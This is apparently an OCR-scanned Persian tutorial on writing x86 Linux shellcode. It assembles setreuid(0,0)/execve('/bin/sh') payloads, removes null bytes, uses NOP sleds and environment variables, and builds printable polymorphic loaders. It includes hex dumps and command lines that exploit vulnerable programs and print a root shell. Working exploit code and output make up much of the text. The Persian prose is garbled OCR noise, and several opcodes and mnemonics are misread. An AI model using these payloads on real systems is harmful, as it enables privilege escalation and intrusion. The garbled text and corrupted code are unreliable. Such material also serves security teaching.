; BBBB is in the string ( 12 bytes offset)
mov eax, 11 ; Now put 11 into eax, since execve is syscall #11
lea ecx, [ebx+8] ; Load the address of where the AAAA was in the string

; into ecx
lea edx, [ebx+12] ; Load the address of where the BBBB was in the string
; into edx

int 0x80 ; Call the kernel to make the system call happen
two:
call one ; Use a call to get back to the top and get the

ool 333,55 o35 Yo 35 (51 b B @ jigids 9 Cannl  Jaosl (S13S B )3 4 Canwl (35— Jb ghiia
va



db '/bin/shXAAAABBBB' ; address of this string

E,‘: ‘SLD L“AJ"L-’ db -Y,‘ °,?

3 3 lys polan @uiS gy o (Hex Editor) Jlopws!iSa jSiul s 3 3 503,5 Jrawl |y Gb 55 dabs S|
3,5 o3kl 35— Jib Olgic 43 1) 3S ol OlgF (05 jgid 45

S nasm shellcode.asm
S hexeditor shellcode

00000000 B8 46 00 00 00 BB 00 00 00 00 B9 00 00 00 00 CD .F.......ovunn..

00000010 80 EB 1C 5B B8 00 00 00 00 88 43 07 89 5B 08 89 ...[...... C.o.[..
00000020 43 0C B8 OB 00 00 00 8D 4B 08 8D 53 0C CD 80 E8 C....... K..S....
00000030 DF FF FF FF 2F 62 69 6E 2F 73 68 58 41 41 41 41 ..../bin/shXARAAA
00000040 42 42 42 42 BBBB

13 398 (g0 Dgaume 4 sleil Olgie 4 (3] WL fulod @ased g0 4 45) 35— )3 39290 Zo1 ol 2
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Jl 3ilgs g0 al) S5 o1 J1LE O SG Us L 0 sliwol Jlade Ol a5 45 0 Jlade Sl aslitwl 0930 U s JISG
295> L) 0L )3 b9 jl ladio O (ilS Gaaww 9 MOV Jgiws b) SLS S Js g PY algseds s SO
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mov ebx, 0x11223344
sub ebx, 0x11223344

S Lz U )90 ol 13 092) 398 g0 2l 93 Bl (pal 13 Ol ygians e Lol (S o IS S5 (! 42,5
S o p Y 051351 3 oS 530 1 03 Jreml 35— b ommm JLS (] 45 (39, (g0 S i 93 Mot ¢y gian
J95w3 XOR 2515 )18 b3 )5 1) 0 Hlade jgiws SS jlosliiwl b g Olgi o0 45 3,15 3929 Jo ol ) Gliseudgs

S5 g0 el O SO s Cw o) 2 ) EXlusive OR) s jlaxil st Jos XOR

2B 50 paa pJ Dygeo U ) b S (ol sl S

1l xor 1 =0
0 xor 0 = O
1l xor 0 = 1
0 xor 1 =1

Olgd (o 13 .39 3bls3 o 33 093 yd (5 Aomi 39 oazil b pauo b pio 332 s 9 ) L) a2 S
gz 1) XOR Jgiuws jST13 590 anlgs juo doms 3940 (solazsil Sb G395 b lado o 5145 &5 domis
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shellcode.asm
BITS 32

; setreuid(uid t ruid, uid t euid)

mov eax, 70 ; put 70 into eax, since setreuid is syscall #70
xXor ebx, ebx ; put 0 into ebx, to set real uid to root

XOr ecx, ecx ; put 0 into ecx, to set effective uid to root
int 0x80 ; Call the kernel to make the system call happen
jmp short two ; Jump down to the bottom for the call trick
one:

A



pop ebx ; pop the "return address" from the stack
; to put the address of the string into ebx

; execve (const char *filename, char *const argv [], char *const envpl[])
XOor eax, eax ; put 0 into eax
mov [ebx+7], al ; put the 0 from eax where the X is in the string
; (7 bytes offset from the beginning)
mov [ebx+8], ebx ; put the address of the string from ebx where the

; AAAA is in the string ( 8 bytes offset)

mov [ebx+12], eax ; put the a NULL address (4 bytes of 0) where the
; BBBB is in the string ( 12 bytes offset)

mov eax, 11 ; Now put 11 into eax, since execve is syscall #11

lea ecx, [ebx+8] ; Load the address of where the AAAA was in the string
; into ecx

lea edx, [ebx+12] ; Load the address of where the BBBB was in the string
; into edx

int 0x80 ; Call the kernel to make the system call happen
two:
call one ; Use a call to get back to the top and get the

db '/bin/shXAAAABBBB' ; address of this string

13,5 padlyS 395 51 (S 508 Zo1 S Lol 4 3S- b I B (l 035 Juowl Sl ey

00000000 B8 46 00 00 00 31 DB 31 C9 CD 80 EB 19 5B 31 CO .F...1.1..... [1.
00000010 88 43 07 89 5B 08 89 43 0C B8 OB 00 00 00 8D 4B .C..[..C....... K
00000020 08 8D 53 0C CD 80 E8 E2 FF FF FF 2F 62 69 6E 2F ..S........ /bin/
00000030 73 68 58 41 41 41 41 42 42 42 42 shXAAAABBBB

Z9 <l 4w 3529 Jods cablo (5 03 Jromasl 35 1) OT 03,5 JBLike 9 35— 43 g Gudgl s pr b
2 Jsl B> 398 0 yaseie jui 035lesdl
mov eax, 70 ; put 70 into eax, since setreuid is syscall #70
2398 (g0 Jrowl j1)j b )90 4
B8 46 00 00 00
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(padding) Ls s2i5 y bid g5 b slesl )> 39790 93 ol 4w .l 0X00000046 & )gu0 4 Jlogus] j5a

Y Jlado opl .l 03l 0305 (suL Jle) s YV lade SO 008 (o5 2 (oo (Sl d Mool 4 €S | i
Fileob ) Oogo ol 43 zlisl Lad (Cob 1) Car A 4 L Ve Jlowws Jlade 45 1z cawl 3L s s
S okl b (pad) 59 g0 py piuo p23la b 55 235kesdl Syl ¥ 5 (Ve lomws Uslee) FF laka b 39290 Culy
Lo 45 325 (o pansid puowl EAX 2w VY OS5 jl aslicwl sl> 4 (EAX ©lS g A Jslee) AL Wl

) 293 13 .l gl Sy 035 (oS 4 b
mov al, 70 ; put 70 into eax, since setreuid is syscall #70
239 (g0 Juowsl 1) D)5 4
BO 46
ol I 933,85 s (S 351 40y Calole Lol 3 0 oy 1 1) 03558 0 Z92 S by i A LS Syl 235l

OS5 3L bl iadole Bas gl 0 13 .08 o5 pio |) 535Les8l Cub 4w dio (ol 9 390 (o0 Jiio Cub S hasid

23,5 Jitio 0T 4 1) a5ly Cob usw 9835 jiwo 1)

XOr eax, eax ; first eax must be 0 for the next instruction
mov al, 70 ; put 70 into eax, since setreuid is syscall #70

1391 SdlgS 1) 90 4 3932 35— b (33 4Bl o les patds O yge 4) 405V O paas Jlocl 1 Guy

shellcode.asm
BITS 32

; setreuid(uid t ruid, uid t euid)
XOor eax, eax ; first eax must be 0 for the next instruction

A



mov al, 70 ; put 70 into eax, since setreuid is syscall #70

xor ebx, ebx ; put 0 into ebx, to set real uid to root

XOr ecx, ecx ; put 0 into ecx, to set effective uid to root

int 0x80 ; Call the kernel to make the system call happen

jmp short two ; Jump down to the bottom for the call trick
one:

pop ebx ; pop the "return address" from the stack

; to put the address of the string into ebx

; execve (const char *filename, char *const argv [], char *const envpl[])
XOor eax, eax ; put 0 into eax
mov [ebx+7], al ; put the 0 from eax where the X is in the string

; (7 bytes offset from the beginning)

mov [ebx+8], ebx ; put the address of the string from ebx where the
; AAAA is in the string ( 8 bytes offset)

mov [ebx+12], eax ; put the a NULL address (4 bytes of 0) where the
; BBBB is in the string ( 12 bytes offset)

mov al, 11 ; Now put 11 into eax, since execve is syscall #11

lea ecx, [ebx+8] ; Load the address of where the AAAA was in the string
; into ecx

lea edx, [ebx+12] ; Load the address of where the BBBB was in the string
; into edx

int 0x80 ; Call the kernel to make the system call happen
two:
call one ; Use a call to get back to the top and get the

db '/bin/shXAAAABBBB' ; address of this string
Wd OLS ol 45 1z s EAX OGS 03,5 jio 4 gl (35 )3 eXeeve() Cuomd ) 45 pdly didls a5

oS o 22 Jlogmo3 350 Kol 129 o U 953,5 Juowwl 1) 35 4S5 ool ST .l 030 s Cuomad 0T (513l 3

N ERVAPESEYE TR N FUSEIE TYRUN Oy WASTR

$ nasm shellcode.asm
$ hexedit shellcode

00000000 31 CO BO 46 31 DB 31 C9 CD 80 EB 16 5B 31 CO 88 1..F1.1..... [1..
00000010 43 07 89 5B 08 89 43 0C BO OB 8D 4B 08 8D 53 0C C..[..C....K..S.
00000020 CD 80 E8 E5 FF FF FF 2F 62 69 6E 2F 73 68 58 41 ....... /bin/shXA
00000030 41 41 41 42 42 42 42 AAABBBB

D9 S 3L 3 JolS 9 i )s 4 2lgT g0 35— b 13 sl 2355 BU (291 Cul b 4S OS]

om il e esle (i A Olygiws 9 by LS I skl Lol o BLd] 4ol p 4 BBLsI ) giws S 05w iz > 4,51
21351 Ao Lo 45 1y cxiiund piawlio jiSz 98 (Sa3S— i .35 oS jui 1) 35— 25lail iz 9y s <l 03 2
P89S jets )53 Sl 2z U 1) aS-Jd opl OlgF (o 4l il @aalgss 03,5 CughenST sln L) Son 3L
S8

=31 93 9 g Col §lm dibl> mumo Janass yshie 4 /bin/sh 4, slesil ,> XAAAABBBB o )le
abbl> ana s ol 39 Jie 9 52819 4ol S 35— b 45 olin .0 Blol Ngidue (o5 LT )3 laws 45
G s 3ol (o0 Cal LS Hanass OT sl 45 1) gl il 35— b 45 ol J> 5 Lol 393 sogo Uk
3algs 1) g0 35— i Lles 93,5 SU Oliuebl b 0lgs o 1) BLal 2313 ¢l 390 salgsn jub & le o 4

W
00000000 31 CO BO 46 31 DB 31 C9 CD 80 EB 16 5B 31 CO 88 1..F1.1..... [1..
00000010 43 07 89 5B 08 89 43 0C BO OB 8D 4B 08 8D 53 0C C..[..C....K..S.
00000020 CD 80 E8 E5 FF FF FF 2F 62 69 6E 2F 73 68  ....... /bin/sh

BBl (0 Lo 91 b 495 o jl S Gl (o led 35U G99 (29,5
UPpaS ) (S 5N Gl Sagimws OYslee jl Olgx 3Lb iz b Cub B3> sl LS OT plos plowil 1 uy

3 o o ((Sy9iws SO Doleo

mov [ebx+7], al ; put the 0 from eax where the X is in the string
; (7 bytes offset from the beginning)
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b 45 zoy ol b b /bin/sh aid) 0gz sl goy s ol il Ol gl dis> G Sl )3 g3 ol
23 Yoe 4y (pl 09z Lol bl 39290 o1 b oSG 4idy Jl amy 2L 13 (CuBdS 4wl 1) il eSly Olgs b)
52 35— 3 gor Cul S i8S LB 4 oo oy Cul S L 4l 0015 46315 13 (] 485 )13 35 4nbid
&) g Emb sl 4 a2y Cul S5 03,5 (1S g 9 XOR Y giws SO LEAX OS5 03,5 o b33 ),8
o 3L 4bls 3929 OT )3 g3 Cub Yoo 4l 091 9 33,5 (g0 395 0313 s 4 3B 25 (cudls YIS X a5
B 4oilS Zey Cub L) 295 sla i) Slgs

23 4S Gl (635- & Oled Ciidi> )3 9 5 S oolawl (ol (o S CoodouST )5 Olgs (o 1) 35— (2]
i g0 03Ul Juad ol (513l 5 W o ghennsST

iy jlosliiwl 9 jiS2eS 3S-Js P, ) ¢,V

Lol 0392 s F5 b 55— i 01331 0,5 ISy iz S 3= b 3l sl si> Olgi (g0 ) S5 > Sy join
call/jmp 4> jl oslituwl slow .32 Srals ea Cob V) 1) 3S- i o135l 35lg5 (oo dity jI Glaiedsn o3l
PV sl Olej o3 9 8315 I8 iy y3 1) sl (Solun SWST ol /bin/sh aus, jl ¢ 5 Ll cdb s ¢l 0

303 o QLS o S 5 (oS 13 1) SwiST ol 0390LE A A g0 oS |y ity S L

stackshell.asm
BITS 32

; setreuid(uid t ruid, uid t euid)

XOr eax, eax ; first eax must be 0 for the next instruction
mov al, 70 ; put 70 into eax, since setreuid is syscall #70
xor ebx, ebx ; put 0 into ebx, to set real uid to root
XOr ecx, ecx ; put 0 into ecx, to set effective uid to root
int 0x80 ; Call the kernel to make the system call happen

; execve (const char *filename, char *const argv [], char *const envpl[])
push ecx ; push 4 bytes of null from ecx to the stack

push 0x68732f2f ; push "//sh"™ to the stack
push 0x6e69622f ; push "/bin" to the stack

mov ebx, esp ; put the address of "/bin//sh" to ebx, via esp
push ecx ; push 4 bytes of null from ecx to the stack
push ebx ; push ebx to the stack

mov ecx, esp ; put the address of ebx to ecx, via esp

xor edx, edx ; put 0 into edx

mov al, 11 ; put 11 into eax, since execve() is syscall #11
int 0x80 ; call the kernel to make the syscall happen

Lol ) Lol cowl shellcode.asm gizy (s 35 Olod b cuwl setreuid() Slss 0 Jskum 45 35 )l iudu
59 §3- Jgiwd 93 )3 4S sl dids) 01> S5 (gl Ial .39 (o0 plomil  Fgliste 4y )b 4 eXECVE() (S99
iy 590 g9 b olez (D9 g0 4l JwsSre ©)ge0 4 didy 45 bl 4l HbLS 4) 3,05 s 1S iy
N osliwl sl 4 13 il b F 4alS S5 81551 4 b push jgiws o sUad 092 (PUsh)ss S e 1,8
S oLs] it OluSs execve() (Slesl o oo saliwl plBa il 95 ¢l 39d 50 a3liwl /bin//sh jI /bin/sh
ol o2 50593 g32 WlS L 33,5 (S EBX O3 )5 3L 13 390 salgs aid) ol slanl jl sy )y diy
Joc exeCVe() Slo>113 sialily (a9 Jl SISl S 4 8IS Olgie 4 b 35 08 (00 )18 iy 59, EBX
35 )3.33)5 o o EDX GLS G 9 398 (50 (25 ECX S5 s aidy 5,1 0logS )T ol sl -3 les
I oo Lol s oS (o 5Ll g Cob P 4 45 592 aad @i (5,5 L3l Olgie 4 EDX wls shellcode.asm

SS9 $lm Lules 5,8 oubiss gomy g0 4 15T (ol p 0lgd (oo (XOR g gxdls JLasl 43 L) puol>
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29 Olod 394 0 Silg31 d 4By jl ool b diwd OT jl g 9 48,5 1,8 EAX &l )5 1) laie execve()

ol Sl PP O3 Jaousl pBan 4 3 ol 05151 2T g0 0 2 yZ905 S &S

S nasm stackshell.asm
$ wc —-c stackshell

33 stackshell
$ hexedit stackshell
00000000 31 C9 31 DB 31 CO BO 46 CD 80 51 68 2F 2F 73 68 1.1.1..F..0Qh//sh
00000010 68 2F 62 69 6E 89 E3 51 53 89 E1 31 D2 BO OB CD h/bin..QS..1....
00000020 80

225 babs 9313 s i yulsl 35 65 38 cpl Sl 5w 1) K05 Sl 936 5,8 o3kl Olgs go | 4> 9

XOr eax, eax ; first eax must be 0 for the next instruction
mov al, 70 ; put 70 into eax, since setreuid is syscall #70
il o Cabole b5 1 Uslze slaaS 4
push byte 70 ; push the byte value 70 to the stack
pop eax ; pop the 4-byte word 70 from the stack

CagaBly ol 5l i (3323 o plowil ) Jor Olod Lol cisand (ymdagy Sl ygians 1 1iSz9S ol | Olygiws ol
23 3mly el Sy ST azly 6l Cub 6 39d 0 45l gl F LS 1 03likul b divy 45 3 g0 05kt
Ao 93 355l L) JolS (b F 4dS SO U (pad) 398 oo s sio p2olie b osiledl sl cob 305 )18 iy
g sla Cobjl Sl 093 ©)go ul 4 ol LB EAX Ol s 9 03,5 (2bJjb 4wy jl 1) Jlsdie ol Olgs (50
Cob P 1) 38 o 10l dis ol Cabls eadlys yino b osid 9 Gal (o2 Jlxie S5 qeadl 83,5 03lisul
A2 o0 Shals

2) B> S p9> di>

xor edx, edx ; put 0 into edx
Wl ) Cudole 5 jl Joleo 35S @
cdqg ; put 0 into edx using the signed bit from eax
LsLhChﬂgPLJsA&Q‘sﬁwfaA)(Cbhj)bio)flhxs'sa)%ELA)(CbhjChoncC;HLH)IHD)(CDQ3qu‘Uﬁw)
GLAtLHgPLAJDEST‘;ah(C@hli)io)uib—ﬁ¢]3A)(Cﬂ;)Lﬁ4)§|9ldy$L¢‘%\.H)unhfﬂ))(CDkf
)Jﬂy$)L&EHDX:CA;|1L¢L~|C%§IiAX:Cﬂ;‘ﬂﬁb)),ocﬂ|)>"»$)&M}$)1)i¢‘&>UaQ]3D>(Cbhj
€lS 35— Jod 051001 1 s 555 Cab S ol ol sl XOR Jgiws jl 1S Cul S ygiws ol 51351 .5
1392 30lg> pJj D)go 4 2les 9 SeS aS- b 1N o9d (0

tinyshell.asm
BITS 32

; setreuid(uid_t ruid, uid t euid)

push byte 70 ; push the byte value 70 to the stack
pop eax ; pop the 4-byte word 70 from the stack
xor ebx, ebx ; put 0 into ebx, to set real uid to root
XO0r ecx, ecx ; put 0 into ecx, to set effective uid to root
int 0x80 ; Call the kernel to make the system call happen
; execve (const char *filename, char *const argv [], char *const envpl[])
push ecx ; push 4 bytes of null from ecx to the stack

push 0x68732f2f ; push "//sh" to the stack
push 0x6e69622f ; push "/bin" to the stack

mov ebx, esp ; put the address of "/bin//sh" to ebx, via esp
push ecx ; push 4 bytes of null from ecx to the stack
push ebx ; push ebx to the stack

mov ecx, esp ; put the address of ebx to ecx, via esp

cdg ; put 0 into edx using the signed bit from eax
mov al, 11 ; put 11 into eax, since execve() is syscall #11
int 0x80 ; call the kernel to make the syscall happen
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$ nasm tinyshell.asm
$ wc -c tinyshell
31 tinyshell
$ hexedit tinyshell
00000000 6A 46 58 31 DB 31 C9 CD 80 51 68 2F 2F 73 68 68 jFX1.1l...0Qh//shh
00000010 2F 62 69 6E 89 E3 51 53 89 E1 99 BO OB CD 80 /bin..QS.......

.))g)ls._aA&w)xﬂglb@)bﬁVuln)i}%wT%UxQA)SCLU"M|6|HQ|,360|)AS—J$&|
Gl).aub)au.al)9)‘50)[5-:4.»5»)f)uﬂjl.).nnU»S)f6'))45))')),?9uln)8—b)))§aé&,sw&

.),g)bbﬁuﬂf}}gdﬂh \0_kéb“jp'&J),wllhdhwl)ﬂQQQSi;gh 10
$ echo 'main() {int sp;printf ("%$p\n",&sp);}'>g.c;gcc -o g.x g.c;./qg.x;rm g.?
Oxbffff884
$ pcalc 202+46-31
217 0xd9 O0y11011001
$ ./vuln 'perl -e 'print "\x90"x217;'"cat tinyshell'"perl -e 'print
"\ x84\ xf8\xff\xbf"x70; """
sh-2.05b# whoami
root
sh-2.05b#

= bl bz B Sl o SIS @ baitne 457 35,15 3529 X80 (5 oo U3 Sude (aowl gt oy 3izz
Olgiws ol aiiad Ob pl )3 sl SO Olygiws dox jldec gine Guals g Giul 8l Ol )giws (Map) igb
2aalS 20 0T jIL 23,5 4Ll dbgy po LS 4 axly S L

(@scii) Sl (hex ) Jlowws! i 9k
@ 0x40 inc eax
C 0x43 inc ebx
A 0x41 inc ecx
B 0x42 inc edx
H 0x48 dec eax
K 0x4B dec ebx
I 0x49 dec ecx
J 0x4A dec edx

NS s g Sz b 1) b o ghounsS1 3985 andeds Sl pitamun 1 (o122 . Canwl 340 o 3lio ol (iansils
oLzl sl o2l GBS g0 CB5 3005 g0 Jaris (Cauwl NOP 4ol ) g G 23 Olis 45) NOP Wl giws

s gad 13) 9 392 381556 NOP das ygu s (555 5503 535 5y 83 oy SIS ) ol b G 95 !
sl 405y gaw ($1 00 Dglise SBL- ST g Sl asliwl 55 o) Lol (2 salgsu c8L e NOP ol gws I
b Olygiws G2l b Gialdl 13 53,5 o sio Jl> 2 4 39b 0 a3kl 3S-J 3 S ol OlS Os2
g Sy sl 4 Oslite yob 4 1) B L, W Olgs (g0 D900 (] 4 adls 32lg55 (5,50 LT 03 o

1S oo BimMo s 3 1) £9090 0l -3 02 S (Sl 0X90 Lol Jol6 pu lriio (31> 45) NOP

$ echo 'main() {int sp;printf ("%$p\n",&sp);}'>g.c;gcc -0 g.x g.c;./qg.x;rm g.?
Oxbffff884

$ ./vuln 'perl -e 'print "B"x217;'"cat tinyshell'"perl -e 'print

"\ x84\ xf8\xff\xbf"x70; """

sh-2.05b# whoami

root

sh-2.05a#
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:)ATAAbi&LmAgu&guig
$ export SHELLCODE=HIJACKHACK'cat tinyshell'
$ ./getenvaddr SHELLCODE
SHELLCODE is located at Oxbffffa7e
$ ./vuln2 'perl -e 'print "\x7e\xfa\xff\xbf"x8;''
sh-2.05b# whoami
root
sh-2.05b#

OLSl 3 935l g0 15 ezl ) g plonnnST 2135 SISl NOP o5 gm0 43 Ol o6 (sl 5SS 51 o3Lisasl
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iz ST i 1 o3l b Lol L3S g0 gomian 1) 35— b 3 Usoe (slabiel 3 s3uzey D9 Gausis S el
23 S5 (ol (bypass) 55 93 1) b et (pl > Olgs o Polymorphic shellcode) JSi 556 ASS
Dbl o (50 L) s S Giubgy CIB s 1) aS-Jb Jeol Cudle Vgomo 9 Sl gul) Ol gs o m9 o
S o) 9 il a5 40 1) 35— Joib 45 39-5 o plil foader) JiS b Soy iiie b IS opl Ysose
XOR L 3S- Jis (encrypt) 03,5 00 bwly ol )3 Jgoro SwiST S5 .28 50 121 1T Lusw 9 (decode)
o2l anwl 038 S UES o) 35— b 1zl e 38— i LS S0y (51w 13U 35l 2ol (0T )3 puslie 03,5
3 gt g0 gt I D95 AT @unapans Bawgd 1) IS )L 35 9 23 o) 35— b O 2315 pasis OlSel 2T
ilise Sl G b 4 3ilgi 0 ) Ol AS- b S (5= b 03 izl (p) Gl QLSS (2 les donis 4 S

33 )8 g0 oS it i T Lol o iteo st 358130 035 (5 50
OT 4 1) 138 )L 35 s 9 83,5 (550, | T aS-Jus 03,5 XOR L 45 55,15 59>9 ADMutate Jio 5,1 !
ol jal il oslisiwl 0930 JSub 83 35— b Sy (ybgs Lol il Suio WolS 1l ol 42,51 .303Les 0 dogond

ol (§ pies
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o=l 13 5 S sleul ol Job sla SIS L Lolod 1) JSi ;55 35-Jib SO 3L 00S- b 03,5 (she 10
= Ll 1) U io 39 Juowol Oz B Swl 5l SIS )90 4 45 519w jl o5kl > 39350
23 algi Ol B Sl 35— b Lgsil )3 Lol 339 (0 48,8 IS5 (55 IS 1) slb S jus 0T JUS U3 9 5iS
Sl sl 231 3950 S 3L 13 LT Olg5 (g0 (yaizrod 303 5 1) 3985 Garieds S a1 (S bomns (Giumnl
35lg5 (g0 35— b (2] 45 08,8 ams Olgs (00 13 i (003 ) Oz Sl st Sl SIS rdgi ol 45 5l

23510399 02 CagglansST (B jue WS 3uLs a5 S CuglunST]) (ol 40U 0
Sl S SIS 039350 13 9 03 Juowl (padblo 35 Ol giwd O gu0 4 45 uowsl Sl giuws jl (gl dgoo )
1) aS- g gl Cu39ame ol .l S5 s Yoz (0X7€ b 0X33 Jlsdio b 5 sSLIS JI) 3l Ol JB

Dilw (0 S0 paf U (J9 Jlgdd owgmmo Hgb

0 Signature-based Detection
Ay



0=l 4 390 o5 Jrowl Ol JB L SIS (5 degoe 0T ©ygo 4 b OLS o2y 59 XOR Jginws liuwbio
I e s ooliiml s 9 o sl b jl ol )shio 4 b OIS 035 o Cagzr )53 LSl 2L O )90
O jl oslituwl pgs 45 515 3929 AND pb @ (6,505 s )Sdos Glisedgs 398 bl Cly JoB Ol giws
Wl A 0Lz JoB SIS Jsloo Jlowws) 38 13 0X41 )laio 093 -39 g0 Juowl /. SIS & 90 4 EAX

Do 0 Juowl "NAAAA" Oy JB Haile 35 O g0 4 ""and eax, 0x41414141"  Juowl g 13

1wl S JIAND jgiws 3 b S junsts

and 1 =
and 0
and 0 =
and 1 =

L oS laiio 93,5113 a8l | Can 95 2 Jlxiio 45 ol giloj ol | 0T 2l 4o 45 (63590 L5 092

o o
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b aalys o bl EAX lsis ol&T 0359 AND EAX 09,5 (o2

Binary Hexadecimal
1000101010011100100111101001010 0x454edfda
AND 0111010001100010011000000110101 AND 0x3a313035

0000000000000000000O0O0OO0OO0OOOOOOO 0x00000000
o3kl 9939 Olgs g0 SS90 i pwsSeo 9 Olz BB i PP laio 93 jl ookl 5 SuiST ol jl osliwl b

A 3al3 Ol B (o S s Jaowsl Gublo 3579 3,5 jiwo ) EAX Ol lsio g9y o by

and eax, 0x454e4dfda ; assembles into %JONE
and eax, 0x3a313035 ; assembles into %501:

@9 43 45 Slsiawd ;553 35 5o EAX Old 00 pieo cams "%JONEZ%501:" opuiblo 35 eyl poli

3 ) )15 5 39 o Jrowl Oz LB Sl sla 5SS
sub eax, 0x41414141
push eax
pop eax
push esp
pop esp
.).bl,? |).>|uaw09)bul w69) 1§ 25— a5) )|.)3)Lv.>5 )l:ul 6').: AND eax ) 95w ol),o.gg ul),.u»J LJ"'

JL> 3 135 ,L a8 1 B oro 4 1) ESP laio 3L 1l 45 Canl & )90 (3] 4 (S SiST st B3IS (5,5
a4y g3 g3l 0315 J1S b gl 4 3T 1) 35— Gugew 9 @i ealiss (aidl> Vb sl o1 3) L=

.A:&Suao.xhl&'bol)@,g)oﬁgj)ﬂj))
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9,5 8 Ol 3 13 (B> 5 Sl b s T 4 idl> 5L sl uy>T 1) Sl Vb @ 9) iy ) 092
4 ESP 9 EIP Lyles .38 g0 &S > ol> 4y 9 EIP JI38 )b oS (512! pl8igs 9 e 40 9 ESP iy > ol
a3ud slowl b 35— b ETP cxmy 40 ity 0T 1 9 (Cawl )53 e LT &Sy Cagr 09%7) ) (50 SS9

S o Lzl
HN3dio 03 )5 LI IS ol 45 oS oaiis Lzl Ul 53 138,638 I Jud culb AS+ 4 1) ESP jlaio 350 laisl
393> )lade ol O3d BLSI L uizrod (3alod (o (puss 1) J13S)LS 51331 lado (ol .39 g0 plol ESP 4 AF -
a2y 45 (535 45 iz cCammnd Jlado o2l 0392 3285 4 Sl 2l 48,5 55 )3 NOP aoijgmn sl b Ve -
G 8 g byl s ol s 6>HJUJWAWQ,Z.>;3T60PAI)9 L 85 5 Sl oSl »)?Go'.\l.édl
Sl 4 OSSO s aaub 831 gy Jlade (o il jl 1o SU wlS L 1) gox Jgiwd Olgi (50 1M cZawl
P AS e Oole L Usleo ld o 4 AF + lado Oxd 6Lal o)1 Ui caw PP e 45 Ol S s Mo 13,8
93 A 4 G i3 ] 13 03 plowil Ol B slis b e 1) G2d5 ool b Lol .l FLFPAF A58 F1S |

S g0 0kl Ol BB srigles I Sod 45 39 g0 Ju
sub eax, 0x39393333 ; assembles into -3399

sub eax, 0x72727550 ; assembles into -Purr
sub eax, 0x54545421 ; assembles into -!TTT

SLa SIS & )90 4 "'SUD €SP Jgiws &g ool 5 bl il (EAX 4 9) ESP I uslis ol opiwslS coa
333 ladie g 3,5 Jitio BAX @1, ESP b jlaie 3L @,d5 (512 13 .39 g3 Jaowsl ool Jo6 (Sl
S Jsl ESP 4 base I, EAX

Jrowl ©lz JiB (Sl s 5SS & )90 40 "moOV eax, esp” o '"'mov esp, eax" Ol)giws jl SO g 09z
O 9 iy 3 @ste L 1 oo 0313 158 L .ls plosl audy 1 ookt b 3ok 1 Js! ool 13) 359 o
Olgiws B 51, "mov <dest>, <source>" ) giuws Jslos Olg—ire 3madie OLS 3 Jlade Olod 2L
LS 95 b 10 push 9 pop Wlygiws U9z (uizmed .35 (5 jlw 23ky ""pop <dest>" 4 "push <source>"
Sl $B3S LB 43 Slles ol plos 13 39 o Jrowl Ol B Sol sl 5SS & 900 4 ESP s EAX
335 5o plmil Oz 6

Mf}UJ,&QESPQA?‘ Jlado O3 5 Lol L 2l Jgiws 4o gosme (2l wlo
and eax, 0x454e4fda ; assembles into %$JONE
and eax, 0x3a313035 ; assembles into %501:

push esp ; assembles into T
pop eax ; assembles into X

sub eax, 0x39393333 ; assembles into -3399
sub eax, 0x72727550 ; assembles into -Purr
sub eax, 0x54545421 ; assembles into -!TTT

push eax ; assembles into P
pop esp ; assembles into \
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00000000 6A 46 58 31 DB 31 C9 CD 80 51 68 2F 2F 73 68 68 JjFX1.1l...0Qh//shh
00000010 2F 62 69 6E 89 E3 51 53 89 E1 99 BO OB CD 80 /bin..QS.......
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00000010 2F 62 69 6E 89 E3 51 53 89 E1 99 BO 0B CD 80 /bin..QS.......
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and eax, 0x454ed4fda ; Zero out the EAX register again
and eax, 0x3a313035 ; using the same trick

sub eax, 0x344b4b74 Subtract some printable values

sub eax, 0x256e5867 from EAX to wrap EAX to 0x80cdObb0
sub eax, 0x25795075 (took 3 instructions to get there)
push eax and then push EAX to the stack

sub eax, 0x6e784a38 Subtract more printable values

sub eax, 0x78733825 from EAX to wrap EAX to 0x99e18953
push eax and then push this to the stack
sub eax, 0x64646464 Subtract more printable values

sub eax, 0x6a373737 from EAX to wrap EAX to 0x51e3896e
sub eax, 0x7962644a (took 3 instructions to get there)
push eax and then push EAX to the stack

sub eax, 0x55257555 Subtract more printable values

sub eax, 0x41367070 from EAX to wrap EAX to 0x69622f68
sub eax, 0x52257441 (took 3 instructions to get there)
push eax and then push EAX to the stack

sub eax, 0x77777777 Subtract more printable values

sub eax, 0x33334f4f from EAX to wrap EAX to 0x68732f2f
sub eax, 0x56443973 (took 3 instructions to get there)
push eax and then push EAX to the stack

sub eax, 0x254f2572 Subtract more printable values

sub eax, 0x65654477 from EAX to wrap EAX to 0x685180cd
sub eax, 0x756d4479 (took 3 instructions to get there)
push eax and then push EAX to the stack

sub eax, 0x43434343 Subtract more printable values

sub eax, 0x25773025 from EAX to wrap EAX to 0xc931db31l
sub eax, 0x36653234 (took 3 instructions to get there)
push eax and then push EAX to the stack

AQ



sub eax, 0x387a3848 ; Subtract more printable values

sub eax, 0x38713859 ; from EAX to wrap EAX to 0x58466a90
push eax ; and then push EAX to the stack
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print.asm

BITS 32

and eax, 0x454e4fd4a ; Zero out the EAX register

and eax, 0x3a313035 ; by ANDing opposing, but printable bits
push esp ; Push ESP to the stack, and then

pop eax ; pop that into EAX to do a mov eax, esp
sub eax, 0x39393333 ; Subtract various printable values

sub eax, 0x72727550 ; from EAX to wrap all the way around
sub eax, 0x54545421 ; to effectively add 860 to ESP

push eax ; Push EAX to the stack, and then

pop esp ; pop that into ESP to do a mov eax, esp

; Now ESP is 860 bytes further down

; which is past our loader bytecode that is executing now.

and eax, 0x454ed4fd4a ; Zero out the EAX register again
and eax, 0x3a313035 ; using the same trick

sub eax, 0x344b4b74 ; Subtract some printable wvalues

sub eax, 0x256e5867 ; from EAX to wrap EAX to 0x80cd0Obb0
sub eax, 0x25795075 ; (took 3 instructions to get there)
push eax ; and then push EAX to the stack

sub eax, 0x6e784a38 ; Subtract more printable wvalues

sub eax, 0x78733825 ; from EAX to wrap EAX to 0x99e18953
push eax ; and then push this to the stack
sub eax, 0x64646464 ; Subtract more printable values

sub eax, 0x6a373737 ; from EAX to wrap EAX to 0x51e3896e
sub eax, 0x7962644a ; (took 3 instructions to get there)
push eax ; and then push EAX to the stack

sub eax, 0x55257555 ; Subtract more printable values

sub eax, 0x41367070 ; from EAX to wrap EAX to 0x69622f68
sub eax, 0x52257441 ; (took 3 instructions to get there)
push eax ; and then push EAX to the stack

sub eax, 0x77777777 ; Subtract more printable values

sub eax, 0x33334f4f ; from EAX to wrap EAX to 0x68732f2f
sub eax, 0x56443973 ; (took 3 instructions to get there)
push eax ; and then push EAX to the stack

sub eax, 0x254f2572 ; Subtract more printable values

